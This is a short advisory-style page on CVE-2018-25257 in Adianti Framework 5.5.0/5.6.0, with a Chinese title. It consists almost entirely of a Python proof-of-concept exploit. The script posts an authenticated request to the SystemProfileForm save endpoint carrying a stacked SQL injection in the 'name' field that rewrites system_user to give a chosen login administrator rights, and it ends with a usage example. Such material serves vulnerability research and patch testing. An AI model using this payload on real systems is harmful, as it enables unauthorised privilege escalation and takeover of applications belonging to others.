CVE-2018-25257 Adianti Framework SQL注入漏洞

# PoC for CVE-2018-25257 # Target: Adianti Framework 5.5.0/5.6.0 # Description: Authenticated SQL Injection via 'name' field in SystemProfileForm import requests def exploit(url, session_cookie, target_user): # The vulnerable endpoint typically handles profile updates target_endpoint = f"{url}/index.php?class=SystemProfileForm&method=onSave" headers = { "Cookie": f"PHPSESSID={session_cookie}" } # Payload attempts to update the target user's role to Administrator (assuming ID 1) # Adjust the payload based on the specific database schema sql_payload = "test' ; UPDATE system_user SET role_id = 1 WHERE login = '{}'; -- ".format(target_user) data = { "name": sql_payload, "email": "[email protected]", # Include other required form fields } try: response = requests.post(target_endpoint, data=data, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully. Check if privilege escalation occurred.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage example # exploit("http://target-app", "valid_session_id", "admin")